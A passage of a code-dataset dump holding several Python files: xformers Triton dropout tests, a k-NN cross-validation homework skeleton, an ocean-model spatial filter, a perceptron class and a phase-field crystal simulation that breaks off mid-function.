(4, 16, 1024),\n (2, 16, 2048),\n (2, 16, 4096),\n (1, 16, 12288),\n]\n\n\n@pytest.mark.skipif(not _triton_available, reason=\"Triton is not available\")\ndef test_dropout_cpu():\n triton_dropout = FusedDropoutBias(p=0.1, bias_shape=None)\n x = torch.normal(0, 1, size=(16, 16), device=\"cpu\")\n _ = triton_dropout(x)\n\n # Check eval means no dropout\n triton_dropout.eval()\n y = triton_dropout(x)\n assert y.count_nonzero() == y.numel()\n\n triton_dropout.train()\n y = triton_dropout(x)\n assert y.count_nonzero() != y.numel()\n\n\n@pytest.mark.skipif(not _gpu_available, reason=\"GPU is not available\")\n@pytest.mark.skipif(not _triton_available, reason=\"Triton is not available\")\n@pytest.mark.skipif(\n not _triton_available or gpu_capabilities_older_than_70(),\n reason=\"Triton requires a SM70+ GPU\",\n)\n@pytest.mark.parametrize(\"shape\", SHAPES)\n@pytest.mark.parametrize(\"amp\", [False, True])\n@pytest.mark.parametrize(\"bias\", [False, True])\n@pytest.mark.parametrize(\"p\", [0, 0.1, 0.5])\ndef test_dropout(shape, amp, bias, p):\n \"\"\"\n Check some basic dropout properties\n \"\"\"\n torch.random.manual_seed(0)\n torch.cuda.manual_seed_all(0)\n\n x = torch.normal(0, 1, size=shape, device=\"cuda\", requires_grad=True)\n b = (\n torch.normal(0, 1, size=(shape[-1],), device=\"cuda\", requires_grad=True)\n if bias\n else None\n )\n\n with autocast(enabled=amp):\n tol = 1e-2 if amp else 1e-5 # AMP rounding causes issues, 1e-5 is the default\n\n # Check that 0 means no dropout\n y = triton_dropout(x, p=0, bias=b)\n x_ref = (x + b if bias else x).to(y.dtype)\n assert torch.allclose(x_ref, y, rtol=tol), f\"{x[x>y]}\"\n\n # Check that 1 means drop all\n y = triton_dropout(x, p=1, bias=b)\n x_ref = (x + b if bias else x).to(y.dtype)\n assert torch.allclose(torch.zeros_like(y), y, rtol=tol)\n\n # Check that .99 means probably dropout\n y = triton_dropout(x, p=0.99, bias=b)\n x_ref = (x + b if bias else x).to(y.dtype)\n assert not torch.allclose(x_ref, y, rtol=tol)\n\n # Check that the drops are different for every row (could catch broken seeds per row)\n y = triton_dropout(x, p=0.5)\n\n y = y.flatten(0, 1) if y.ndim == 3 else y\n assert not torch.sum(torch.eq(y[0, :] == 0.0, y[1, :] == 0.0)) == y.shape[1]\n\n # Check that the drops are different over time, for the same line\n y_a = triton_dropout(x, p=0.5)\n y_b = triton_dropout(x, p=0.5)\n\n y_a = y_a.flatten(0, 1) if y_a.ndim == 3 else y_a\n y_b = y_b.flatten(0, 1) if y_b.ndim == 3 else y_b\n\n assert (\n not torch.sum(torch.eq(y_a[0, :] == 0.0, y_b[0, :] == 0.0)).item()\n == y.shape[1]\n )\n\n # Check that the drop probability is about right\n y = triton_dropout(x, p=p)\n drop_p = (y.numel() - y.count_nonzero()) / y.numel()\n assert abs(drop_p - p) < 0.02\n\n # Check that the same seeds lead to the same dropout\n torch.manual_seed(0)\n torch.cuda.manual_seed(0)\n y_1 = triton_dropout(x, p=0.5)\n\n torch.manual_seed(0)\n torch.cuda.manual_seed(0)\n y_2 = triton_dropout(x, p=0.5)\n\n torch.testing.assert_close(y_1, y_2)\n\n\n@pytest.mark.skipif(not _gpu_available, reason=\"GPU is not available\")\n@pytest.mark.skipif(not _triton_available, reason=\"Triton is not available\")\n@pytest.mark.skipif(\n not _triton_available or gpu_capabilities_older_than_70(),\n reason=\"Triton requires a SM70+ GPU\",\n)\n@pytest.mark.parametrize(\"shape\", SHAPES)\n@pytest.mark.parametrize(\"amp\", [False, True])\n@pytest.mark.parametrize(\"bias\", [True, False])\n@pytest.mark.parametrize(\"activation\", [a.value for a in Activation])\n@pytest.mark.parametrize(\"p\", [0, 0.01, 0.5])\ndef test_dropout_parity(shape, amp, bias, activation, p):\n \"\"\"\n Check some basic dropout properties\n \"\"\"\n\n torch.random.manual_seed(0)\n x = torch.normal(0, 1, size=shape, device=\"cuda\", requires_grad=True)\n b = (\n torch.ones(size=(shape[-1],), device=\"cuda\", requires_grad=True)\n if bias\n else None\n )\n\n torch.random.manual_seed(0)\n x_ = torch.normal(0, 1, size=shape, device=\"cuda\", requires_grad=True)\n b_ = (\n torch.ones(size=(shape[-1],), device=\"cuda\", requires_grad=True)\n if bias\n else None\n )\n\n with autocast(enabled=amp):\n torch_activation = build_activation(activation)\n res_torch = torch.nn.functional.dropout(\n torch_activation(x + b if b is not None else x), p=p\n )\n loss_torch = torch.sum(res_torch)\n\n res_triton = triton_dropout(x=x_, p=p, bias=b_, activation=activation)\n loss_triton = torch.sum(res_triton)\n\n if p < 0.01:\n # Check the FW pass\n assert torch.allclose(\n loss_torch, loss_triton, rtol=0.01\n ), f\"{loss_torch} - {loss_triton}\"\n\n # Check the gradients\n loss_torch.backward()\n loss_triton.backward()\n\n # - gradients wrt inputs\n assert torch.allclose(\n torch.norm(x.grad), torch.norm(x_.grad), rtol=0.01\n ), f\"{x.grad}\\n{x_.grad}\"\n\n # - gradients wrt bias\n if bias:\n assert torch.allclose(\n torch.norm(b.grad), torch.norm(b_.grad), rtol=0.01\n ), f\"{b.grad.norm()} - {b_.grad.norm()}\"\n","repo_name":"facebookresearch/xformers","sub_path":"tests/test_triton_dropout.py","file_name":"test_triton_dropout.py","file_ext":"py","file_size_in_byte":6333,"program_lang":"python","lang":"en","doc_type":"code","stars":6313,"dataset":"github-code","pt":"32"} +{"seq_id":"73510946651","text":"import argparse\nimport random\nfrom collections import namedtuple\nimport numpy as np\nfrom knn import Knearest, Numbers\n\nrandom.seed(20170830)\n\n\n# READ THIS FIRST\n# In n-fold cross validation, all the instances are split into n folds\n# of equal sizes. We are going to run train/test n times.\n# Each time, we use one fold as the testing test and train a classifier\n# from the remaining n-1 folds.\n# In this homework, we are going to split based on the indices\n# for each instance.\n\n# SplitIndices stores the indices for each train/test run,\n# Indices for the training set and the testing set \n# are respectively in two lists named \n# `train` and `test`.\n\nSplitIndices = namedtuple(\"SplitIndices\", [\"train\", \"test\"])\n\ndef split_cv(length, num_folds):\n \"\"\"\n This function splits index [0, length - 1) into num_folds (train, test) tuples.\n \"\"\"\n splits = [SplitIndices([], []) for _ in range(num_folds)]\n indices = list(range(length))\n random.shuffle(indices)\n # Finish this function to populate `folds`.\n # All the indices are split into num_folds folds.\n # Each fold is the testing set in a split, and the remaining indices\n # are added to the corresponding training set.\n\n return splits\n\n\ndef cv_performance(x, y, num_folds, k):\n \"\"\"This function evaluates average accuracy in cross validation.\"\"\"\n length = len(y)\n splits = split_cv(length, num_folds)\n accuracy_array = []\n\n for split in splits:\n # Finish this function to use the training instances \n # indexed by `split.train` to train the classifier,\n # and then store the accuracy \n # on the testing instances indexed by `split.test`\n \n accuracy_array.append(accuracy)\n\n return np.mean(accuracy_array)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='KNN classifier options')\n parser.add_argument('--limit', type=int, default=-1,\n help=\"Restrict training to this many examples\")\n args = parser.parse_args()\n \n data = Numbers(\"../data/mnist.pkl.gz\")\n x, y = data.train_x, data.train_y\n if args.limit > 0:\n x, y = x[:args.limit], y[:args.limit]\n best_k, best_accuracy = -1, 0\n for k in [1, 3, 5, 7, 9]:\n accuracy = cv_performance(x, y, 5, k)\n print(\"%d-nearest neighber accuracy: %f\" % (k, accuracy))\n if accuracy > best_accuracy:\n best_accuracy, best_k = accuracy, k\n knn = Knearest(x, y, best_k)\n confusion = knn.confusion_matrix(data.test_x, data.test_y)\n accuracy = knn.accuracy(confusion)\n print(\"Accuracy for chosen best k= %d: %f\" % (best_k, accuracy))\n\n","repo_name":"BoulderDS/csci_5622_hws","sub_path":"hw1/cross_validation.py","file_name":"cross_validation.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"36567938700","text":"def run():\r\n n = int(input())\r\n t = 0\r\n while t <= 1000:\r\n if n%7==0:\r\n print(n)\r\n return\r\n n = n + int(str(n)[::-1])\r\n t+=1\r\n print(-1)\r\n return\r\n\r\ndef main():\r\n t = int(input())\r\n for i in range(0, t):\r\n run()\r\nmain()","repo_name":"HieuAnh87/Python_ptit","sub_path":"Biến và kiểu dữ liệu đơn giản/KiemTraChiaHetCho7.py","file_name":"KiemTraChiaHetCho7.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"39316247139","text":"\"\"\"\nFunctions for filtering 2D model output to coarser resolution\nThis puts together the code snippets from Ian's CPT-Snippets repo:\nhttps://github.com/iangrooms/CPT-Snippets \n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import interpolate\nfrom scipy import integrate\nimport matplotlib.pylab as pylab\n\ndef filterSpec(N,dxMin,Lf,shape=\"Gaussian\",X=np.pi):\n \"\"\"\n Inputs: \n N is the number of total steps in the filter\n dxMin is the smallest grid spacing - should have same units as Lf\n Lf is the filter scale, which has different meaning depending on filter shape\n shape can currently be one of two things:\n Gaussian: The target filter has kernel ~ e^{-|x/Lf|^2}\n Taper: The target filter has target grid scale Lf. Smaller scales are zeroed out. \n Scales larger than pi*Lf/2 are left as-is. In between is a smooth transition.\n X is the width of the transition region in the \"Taper\" filter; per the CPT Bar&Prime doc the default is pi.\n Note that the above are properties of the *target* filter, which are not the same as the actual filter.\n \n Outputs:\n NL is the number of Laplacian steps\n sL is s_i for the Laplacian steps; units of sL are one over the units of dxMin and Lf, squared\n NB is the number of Biharmonic steps\n sB is s_i for the Biharmonic steps; units of sB are one over the units of dxMin and Lf, squared\n \"\"\"\n # Code only works for N>2\n if N <= 2:\n print(\"Code requires N>2\")\n return \n # First set up the mass matrix for the Galerkin basis from Shen (SISC95)\n M = (np.pi/2)*(2*np.eye(N-1) - np.diag(np.ones(N-3),2) - np.diag(np.ones(N-3),-2))\n M[0,0] = 3*np.pi/2\n # The range of wavenumbers is 0<=|k|<=sqrt(2)*pi/dxMin. Nyquist here is for a 2D grid. \n # Per the notes, define s=k^2.\n # Need to rescale to t in [-1,1]: t = (2/sMax)*s -1; s = sMax*(t+1)/2\n sMax = 2*(np.pi/dxMin)**2\n # Set up target filter\n if shape == \"Gaussian\":\n F = lambda t: np.exp(-(sMax*(t+1)/2)*(Lf/2)**2)\n elif shape == \"Taper\":\n F = interpolate.PchipInterpolator(np.array([-1,(2/sMax)*(np.pi/(X*Lf))**2 -1,(2/sMax)*(np.pi/Lf)**2 -1,2]),np.array([1,1,0,0]))\n else:\n print(\"Please input a valid shape\")\n return\n # Compute inner products of Galerkin basis with target\n b = np.zeros(N-1)\n points, weights = np.polynomial.chebyshev.chebgauss(N+1)\n for i in range(N-1):\n tmp = np.zeros(N+1)\n tmp[i] = 1\n tmp[i+2] = -1\n phi = np.polynomial.chebyshev.chebval(points,tmp)\n b[i] = np.sum(weights*phi*(F(points)-((1-points)/2 + F(1)*(points+1)/2)))\n # Get polynomial coefficients in Galerkin basis\n cHat = np.linalg.solve(M,b)\n # Convert back to Chebyshev basis coefficients\n p = np.zeros(N+1)\n p[0] = cHat[0] + (1+F(1))/2\n p[1] = cHat[1] - (1-F(1))/2\n for i in range(2,N-1):\n p[i] = cHat[i] - cHat[i-2]\n p[N-1] = -cHat[N-3]\n p[N] = -cHat[N-2]\n # Now plot the target filter and the approximate filter\n #x = np.linspace(-1,1,251)\n x = np.linspace(-1,1,10000)\n k = np.sqrt((sMax/2)*(x+1))\n #params = {'legend.fontsize': 'x-large',\n # 'axes.labelsize': 'x-large',\n # 'axes.titlesize':'x-large',\n # 'xtick.labelsize':'x-large',\n # 'ytick.labelsize':'x-large'}\n #pylab.rcParams.update(params)\n plt.plot(k,F(x),'g',label='target filter',linewidth=4)\n plt.plot(k,np.polynomial.chebyshev.chebval(x,p),'m',label='approximation',linewidth=4)\n #plt.xticks(np.arange(5), ('0', r'$1/\\Delta x$', r'$2/\\Delta x$',r'$3/\\Delta x$', r'$4/\\Delta x$'))\n plt.axvline(1/Lf,color='k',linewidth=2)\n plt.axvline(np.pi/Lf,color='k',linewidth=2)\n #plt.text(1/Lf, 1.15, r'$\\frac{1}{2}$',fontsize=20)\n #plt.text(np.pi/Lf, 1.15, r'$\\frac{\\pi}{2}$',fontsize=20)\n left, right = plt.xlim()\n plt.xlim(left=0)\n bottom,top = plt.ylim()\n plt.ylim(bottom=-0.1)\n plt.ylim(top=1.1)\n plt.xlabel('k', fontsize=18)\n plt.grid(True)\n plt.legend()\n #plt.savefig('figures/filtershape_%s%i_dxMin%i_Lf%i.png' % (shape,N,dxMin,Lf),dpi=400,bbox_inches='tight',pad_inches=0)\n \n # Get roots of the polynomial\n r = np.polynomial.chebyshev.chebroots(p)\n # convert back to s in [0,sMax]\n s = (sMax/2)*(r+1)\n # Separate out the real and complex roots\n NL = np.size(s[np.where(np.abs(np.imag(r)) < 1E-12)]) \n sL = np.real(s[np.where(np.abs(np.imag(r)) < 1E-12)])\n NB = (N - NL)//2\n sB_re,indices = np.unique(np.real(s[np.where(np.abs(np.imag(r)) > 1E-12)]),return_index=True)\n sB_im = np.imag(s[np.where(np.abs(np.imag(r)) > 1E-12)])[indices]\n sB = sB_re + sB_im*1j\n return NL,sL,NB,sB\n\ndef applyFilter(field,landMask,dx,dy,NL,sL, NB, sB):\n \"\"\"\n Filters a 2D field, applying an operator of type (*) above. \n Assumes dy=constant, dx varies in y direction\n Inputs:\n field: 2D array (y, x) to be filtered\n landMask: 2D array, same size as field: 0 if cell is not on land, 1 if it is on land.\n dx is a 1D array, same size as 1st dimension of field\n dy is constant\n NL is number of Laplacian steps, see output of filterSpec fct above\n sL is s_i for the Laplacian steps, see output of filterSpec fct above\n NB is the number of Biharmonic steps, see output of filterSpec fct above\n sB is s_i for the Biharmonic steps, see output of filterSpec fct above\n Output:\n Filtered field.\n \"\"\"\n fieldBar = field.copy() # Initalize the filtering process\n for i in range(NL):\n tempL = Laplacian2D_FV(fieldBar,landMask,dx,dy) # Compute Laplacian\n fieldBar = fieldBar + (1/sL[i])*tempL # Update filtered field\n for i in range(NB): \n tempL = Laplacian2D_FV(fieldBar,landMask,dx,dy) # Compute Laplacian\n tempB = Laplacian2D_FV(tempL,landMask,dx,dy) # Compute Biharmonic (apply Laplacian twice)\n fieldBar = fieldBar + (2*np.real(sB[i])/np.abs(sB[i])**2)*tempL + (1/np.abs(sB[i])**2)*tempB\n return fieldBar \n\ndef Laplacian2D_FV(field,landMask,dx,dy):\n \"\"\"\n Computes a Cartesian Laplacian of field, using a finite volume discretization. \n Assumes dy=constant, dx varies in y direction\n Inputs:\n field is a 2D array (y, x) whose Laplacian is computed; note: (y,x) is order of dims in NW2 output \n landMask: 2D array, same size as field: 0 if cell is not on land, 1 if it is on land.\n dx is a 1D array, same size as 1st dimension of field\n dy is constant\n Output:\n Laplacian of field.\n \"\"\"\n Ny = np.size(field,0)\n Nx = np.size(field,1)\n notLand = 1 - landMask\n field = np.nan_to_num(field) # set all NaN's to zero\n ## transpose all fields so that numpy broadcasting coorperates (when multiplying with dx)\n field = np.transpose(field)\n notLand = np.transpose(notLand)\n ## Approximate x derivatives on left and right cell boundaries\n fluxLeft = np.zeros((Nx,Ny))\n fluxRight = np.zeros((Nx,Ny))\n fluxRight[0:Nx-1,:] = notLand[1:Nx,:]*(field[1:Nx,:] - field[0:Nx-1,:])/dx # Set flux to zero if on land\n fluxRight[Nx-1,:] = notLand[0,:]*(field[0,:]-field[Nx-1,:])/dx # Periodic unless there's land in the way\n fluxLeft[1:Nx,:] = notLand[0:Nx-1,:]*(field[1:Nx,:] - field[0:Nx-1,:])/dx # Set flux to zero if on land\n fluxLeft[0,:] = notLand[Nx-1,:]*(field[0,:]-field[Nx-1,:])/dx # Periodic unless there's land in the way\n # multiply by length of cell boundary\n fluxLeft = fluxLeft*dy \n fluxRight = fluxRight*dy\n OUT = fluxRight - fluxLeft\n # Approximate y derivatives on south and north cell boundaries\n fluxNorth = np.zeros((Nx,Ny))\n fluxSouth = np.zeros((Nx,Ny))\n fluxNorth[:,0:Ny-1] = notLand[:,1:Ny]*(field[:,1:Ny] - field[:,0:Ny-1])/dy # Set flux to zero if on land\n fluxNorth[:,Ny-1] = notLand[:,0]*(field[:,0]-field[:,Ny-1])/dy # Periodic unless there's land in the way\n fluxSouth[:,1:Ny] = notLand[:,0:Ny-1]*(field[:,1:Ny] - field[:,0:Ny-1])/dy # Set flux to zero if on land\n fluxSouth[:,0] = notLand[:,Ny-1]*(field[:,0]-field[:,Ny-1])/dy # Periodic unless there's land in the way\n # multiply by length of cell boundary\n # note: the following 4 lines is where this code makes a difference from above Laplacian2D_FD\n fluxNorth[:,0:Ny-1] = fluxNorth[:,0:Ny-1]*(dx[0:Ny-1]+dx[1:Ny])/2 \n fluxNorth[:,Ny-1] = fluxNorth[:,Ny-1]*(dx[Ny-1]+dx[0])/2 # Periodic unless there's land in the way\n fluxSouth[:,1:Ny] = fluxSouth[:,1:Ny]*(dx[0:Ny-1]+dx[1:Ny])/2 \n fluxSouth[:,0] = fluxSouth[:,0]*(dx[0]+dx[Nx-1])/2 # Periodic unless there's land in the way\n OUT = OUT + (fluxNorth - fluxSouth)\n # divide by cell area\n area = dx*dy\n OUT = notLand * OUT/area\n OUT = np.transpose(OUT) # transpose back\n return OUT\n","repo_name":"hmkhatri/MOM6_Momentum_Budget","sub_path":"filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":8716,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"26551726302","text":"import numpy as np\n\nfrom TP3.perceptron_funcs.errors import activation_based_error, scaling_identity\n\n\nclass SimplePerceptron:\n\n def __init__(self, input_size, activation_f, learning_rate: float, derivative=None):\n self.activation_f = activation_f\n self.derivative = derivative\n self.learning_rate = learning_rate\n self.input_size = input_size\n self.reset()\n\n def train(self, learn_set: np.ndarray, expected_outputs: np.ndarray, max_gen: int, learning_function,scaling_function, max_value , min_value):\n learn_count = learn_set.shape[0]\n # Adding constant value to the end of each input for threshold\n learn_set = np.append(learn_set, np.zeros((learn_count, 1)) + 1, axis=1)\n while self.current_gen < max_gen and self.error > 0:\n learning_function(learn_count, learn_set, expected_outputs,scaling_function,max_value,min_value)\n self.current_gen += 1\n return self.w, self.min_w, self.min_error, self.min_gen\n\n def random_learn(self,learn_count,learn_set,expected_outputs,scaling_function,max_value,min_value):\n chosen_idx = np.random.choice(np.arange(learn_count))\n self.learn(learn_set, expected_outputs, chosen_idx,scaling_function,max_value,min_value)\n\n def secuencially_learn(self,learn_count,learn_set,expected_outputs,scaling_function,max_value,min_value):\n for chosen_idx in range(learn_count):\n self.learn(learn_set, expected_outputs, chosen_idx,scaling_function,max_value,min_value)\n\n def learn(self, learn_set: np.ndarray, expected_outputs: np.ndarray, chosen_idx: int,scaling_function,max_value,min_value):\n h = np.dot(learn_set[chosen_idx], self.w)\n estimation = self.activation_f(h)\n delta_w = self.learning_rate * (expected_outputs[chosen_idx] - estimation) * learn_set[chosen_idx]\n if self.derivative is not None:\n delta_w *= self.derivative(estimation)\n self.w += delta_w\n self.error = activation_based_error(learn_set, expected_outputs, self.w, self.activation_f,scaling_function,max_value,min_value)\n if self.error < self.min_error:\n self.min_error = self.error\n self.min_w = self.w\n self.min_gen = self.current_gen\n\n def train_by_batch(self, learn_set: np.ndarray, expected_outputs: np.ndarray, batch_size: int,\n learning_function,scaling_error_function=scaling_identity,max_value = 0, min_value = 0):\n learn_count = learn_set.shape[0]\n if learn_count != expected_outputs.shape[0]:\n raise Exception(\"Not enough outputs for the given inputs\")\n return self.train(learn_set=learn_set, expected_outputs=expected_outputs, max_gen=self.current_gen + batch_size, learning_function=learning_function,scaling_function=scaling_error_function,max_value= max_value , min_value= min_value)\n\n def evaluate(self, test):\n if self.current_gen == 0:\n raise Exception(\"Has not learnt yet!\")\n if test.size != (self.w.size - 1):\n raise Exception(\"Wrong input size\")\n test = np.append(test, 1)\n return self.activation_f(np.dot(test, self.w))\n\n def accuracy(self,test_set,expected_out,tolerance:float):\n matches = 0\n for case_idx in range(len(test_set)):\n guess = self.evaluate(test_set[case_idx])\n if np.absolute(guess - expected_out[case_idx]) < tolerance:\n matches += 1\n return matches/len(test_set)\n\n def reset(self):\n self.current_gen = 0\n self.w = np.zeros(self.input_size + 1)\n self.error = 1\n self.min_error = float(\"inf\")\n self.min_w = None\n self.min_gen = -1\n","repo_name":"JuanOriana/SIA","sub_path":"TP3/data_structs/SimplePerceptron.py","file_name":"SimplePerceptron.py","file_ext":"py","file_size_in_byte":3712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16196713963","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n# fast move 2 step and slow 1 step, if they meet again then has cycle\n# check if cycle\nclass Solution:\n def hasCycle(self, head: ListNode) -> bool:\n fast = head\n slow = head\n while fast!= None and fast.next != None :\n fast = fast.next.next\n slow = slow.next\n if(fast == slow):\n return True\n return False\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def hasCycle(self, head: Optional[ListNode]) -> bool:\n # since only tail has cycle.\n headSet = set()\n while head is not None:\n if head in headSet:\n return True\n headSet.add(head)\n head = head.next\n return False\n # time 0(n) : visit each of the n elements at most once. Adding a node to the hash takes 0(1) time\n # space 0(n): the space depends on the number of elements added to the has table\n","repo_name":"richardph911/leetcode","sub_path":"linkedist/cycle linked list.py","file_name":"cycle linked list.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12139922271","text":"\"\"\"\nPFC code in python\n\n- Kristjan Eimre\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\nimport scipy.signal\nimport scipy.ndimage\nimport equilibrium_algorithms\nimport equilibrium_algorithms_2\n\n\n# number of cells in the grid and cell dimensions\n# 384\n# 1536\nnx = 384\nny = 384\ndx = 2.0\ndy = 2.0\n\ndt = 0.0125\n\n# parameters ---------------------------------------------------\n# one mode approximation lowest order reciprocal lattice vectors\nq_vectors = np.array([\n [-np.sqrt(3.0)/2, -1/2],\n [0, 1],\n [np.sqrt(3.0)/2, -1/2]\n])\n\nbx = 1.0\nbl = bx-0.05\ntt = 0.585\nvv = 1.0\n\n# -------------------------------------------------------------\n# calculate the k values corresponding to bins in k space\nk_x_values = 2*np.pi*np.fft.fftfreq(nx, dx)\nk_y_values = 2*np.pi*np.fft.fftfreq(ny, dy)\n\n# -------------------------------------------------------------\n# G_j coefficients and the denominator of the (over-damped) numerical scheme in k space\ng_values = np.zeros((3, nx, ny))\ng_values_fd = np.zeros((3, nx, ny))\ndenominator_k = np.zeros((3, nx, ny))\n# -------------------------------------------------------------\n# finite difference kernels for finding theta gradients\nfd_kernels = []\n# -------------------------------------------------------------\n\n\ndef init_state_circle(eta):\n \"\"\"\n Initialize the state of the phase field\n \"\"\"\n\n # Keep amplitude constant, but rotate the phase by some angle for a circle in the middle\n angle = 0.0872665\n amplitude = 0.10867304595992146\n\n theta = np.zeros((3, nx, ny))\n\n for i in range(nx):\n for j in range(ny):\n # If inside the circle with a radius of 0.25*nx*dx\n if (i+1-nx/2)**2*dx**2 + (j+1-ny/2)**2*dy**2 <= (0.25*nx*dx)**2:\n for n in range(3):\n # apply a rotation\n theta = ((q_vectors[n, 0]*np.cos(angle) + q_vectors[n, 1]*np.sin(angle) - q_vectors[n, 0])\n * (i+1 - nx/2) * dx\n + (-q_vectors[n, 0]*np.sin(angle) + q_vectors[n, 1]*np.cos(angle) - q_vectors[n, 1])\n * (j+1 - ny/2) * dy\n )\n eta[n, i, j] = amplitude * np.exp(1j*theta)\n # if outside the circle, no rotation\n else:\n eta[:, i, j] = amplitude\n\n\ndef init_state_seed(eta):\n\n amplitude = 0.10867304595992146\n seed_radius = 0.15*nx*dx\n\n seed_pos = [(0.3, 0.5), (0.7, 0.5)]\n seed_angles = [0.0, 0.2]\n\n for i in range(nx):\n for j in range(ny):\n for c in range(3):\n eta[c, i, j] = 0.0\n for sd, ang in zip(seed_pos, seed_angles):\n # current coordinates\n x = i*dx\n y = j*dy\n\n # seed center coordinates\n x_c = (nx-1)*sd[0]*dx\n y_c = (ny-1)*sd[1]*dy\n\n # distance from center\n center_dist = np.sqrt((x-x_c)**2 + (y-y_c)**2)\n rd = center_dist/seed_radius\n\n # apply a rotation around point (x_c, y_c) by angle \"ang\"\n rot_mat = np.array([[np.cos(ang)-1, -np.sin(ang)],\n [np.sin(ang), np.cos(ang)-1]])\n row_vec = np.array([x-x_c, y-y_c])\n theta = np.dot(q_vectors[c], np.dot(rot_mat, row_vec))\n\n eta[c, i, j] += amplitude * np.exp(1j*theta) / (rd**12+1)\n\n\n\ndef init_state_seed_test(eta):\n amplitude = 0.10867304595992146\n seed_radius = 0.02*nx*dx\n for i in range(nx):\n for j in range(ny):\n for c in range(3):\n eta[c, i, j] = 0.0\n # distance from center\n center_dist = np.sqrt((i-(nx-1)/2)**2*dx**2 + (j-(ny-1)/2)**2*dy**2)\n rd = center_dist/seed_radius\n if rd < 3.0: # <- !!! Bug doesn't occur without this check !!!\n eta[c, i, j] += amplitude / (rd**4+1)\n\n\ndef calculate_coefficients():\n \"\"\"\n Calculates the G_j expression and the denominator of the numerical scheme in k space\n \"\"\"\n for i in range(nx):\n for j in range(ny):\n k_square = k_x_values[i]**2+k_y_values[j]**2\n cct = -k_square - 2*(q_vectors[:,0]*k_x_values[i] + q_vectors[:,1]*k_y_values[j])\n g_values[:, i, j] = cct\n denominator_k[:, i, j] = 1 + dt*((bl-bx)+bx*cct**2)\n\n\ndef calculate_coefficients_mat():\n \"\"\"\n Calculates the G_j expression and the denominator of the numerical scheme in k space\n \"\"\"\n k_x_matrix, k_y_matrix = np.meshgrid(k_x_values,k_y_values)\n k_y_matrix = np.transpose(k_y_matrix)\n k_x_matrix = np.transpose(k_x_matrix)\n for i in range(3):\n g_values[i] = -(k_x_matrix**2+k_y_matrix**2) - 2*(q_vectors[i, 0]*k_x_matrix + q_vectors[i, 1]*k_y_matrix)\n denominator_k[:] = 1 + dt*((bl-bx)+bx*g_values**2)\n\n\ndef calculate_coefficients_tile():\n \"\"\"\n Calculates the G_j expression and the denominator of the numerical scheme in k space\n \"\"\"\n k_x_matrix=np.transpose(np.tile(k_x_values,(ny,1)))\n k_y_matrix=np.tile(k_y_values,(nx,1))\n for i in range(3):\n g_values[i] = -(k_x_matrix**2+k_y_matrix**2) - 2*(q_vectors[i, 0]*k_x_matrix + q_vectors[i, 1]*k_y_matrix)\n #g_values_fd[i] = 1.0/(6*dx**2)*(16*np.cos(k_x_matrix*dx)-np.cos(2*k_x_matrix*dx)-15)\n #g_values_fd[i] += 1.0/(6*dy**2)*(16*np.cos(k_y_matrix*dy)-np.cos(2*k_y_matrix*dy)-15)\n #g_values_fd[i] += -(q_vectors[i, 0]/(3*dx)*(8*np.sin(k_x_matrix*dx)-np.sin(2*k_x_matrix*dx)))\n #g_values_fd[i] += -(q_vectors[i, 1]/(3*dy)*(8*np.sin(k_y_matrix*dy)-np.sin(2*k_y_matrix*dy)))\n denominator_k[:] = 1 + dt*((bl-bx)+bx*g_values**2)\n\n\ndef calculate_energy(eta, eta_k):\n \"\"\"\n Calculates the energy of the phase field (eq. (2.89) from Vili's thesis)\n :return: energy\n \"\"\"\n\n # calculate the A^2\n aa = 2*(np.abs(eta[0])**2 + np.abs(eta[1])**2 + np.abs(eta[2])**2)\n\n # buffer to hold the result of (G_j eta_j)\n # (G_j eta_j) will be evaluated by going to k space\n g_eta_buffer_k = np.copy(eta_k)\n\n # Add the G_j expression in k space to the buffer\n g_eta_buffer_k = g_eta_buffer_k*g_values\n\n # go back to real space for (G_j eta_j)\n g_eta_buffer = np.zeros((3, nx, ny), dtype=np.complex128)\n for j in range(3):\n g_eta_buffer[j] = np.fft.ifft2(g_eta_buffer_k[j])\n\n num_cells = nx*ny # divide the total energy by this to get the energy density\n\n # Integrate over space to get the energy and divide by num cells to get density\n energy = np.sum(\n aa*(bl-bx)/2 + (3/4)*vv*aa**2\n - 4*tt*np.real(eta[0]*eta[1]*eta[2])\n + bx*(np.abs(g_eta_buffer[0])**2 + np.abs(g_eta_buffer[1])**2 + np.abs(g_eta_buffer[2])**2)\n - 3/2*vv*((np.abs(eta[0]))**4 + (np.abs(eta[1]))**4 + (np.abs(eta[2]))**4)\n )/num_cells\n\n return energy\n\ndef calculate_energy_fd(eta, eta_k):\n \"\"\"\n Calculates the energy of the phase field\n :return: energy\n \"\"\"\n\n # calculate the A^2\n aa = 2*(np.abs(eta[0])**2 + np.abs(eta[1])**2 + np.abs(eta[2])**2)\n\n # buffer to hold the result of (G_j eta_j)\n # (G_j eta_j) will be evaluated by going to k space\n g_eta_buffer_k = np.copy(eta_k)\n\n # Add the G_j expression in k space to the buffer\n g_eta_buffer_k = g_eta_buffer_k*g_values_fd\n\n # go back to real space for (G_j eta_j)\n g_eta_buffer = np.zeros((3, nx, ny), dtype=np.complex128)\n for j in range(3):\n g_eta_buffer[j] = np.fft.ifft2(g_eta_buffer_k[j])\n\n num_cells = nx*ny # divide the total energy by this to get the energy density\n\n # Integrate over space to get the energy and divide by num cells to get density\n energy = np.sum(\n aa*(bl-bx)/2 + (3/4)*vv*aa**2\n - 4*tt*np.real(eta[0]*eta[1]*eta[2])\n + bx*(np.abs(g_eta_buffer[0])**2 + np.abs(g_eta_buffer[1])**2 + np.abs(g_eta_buffer[2])**2)\n - 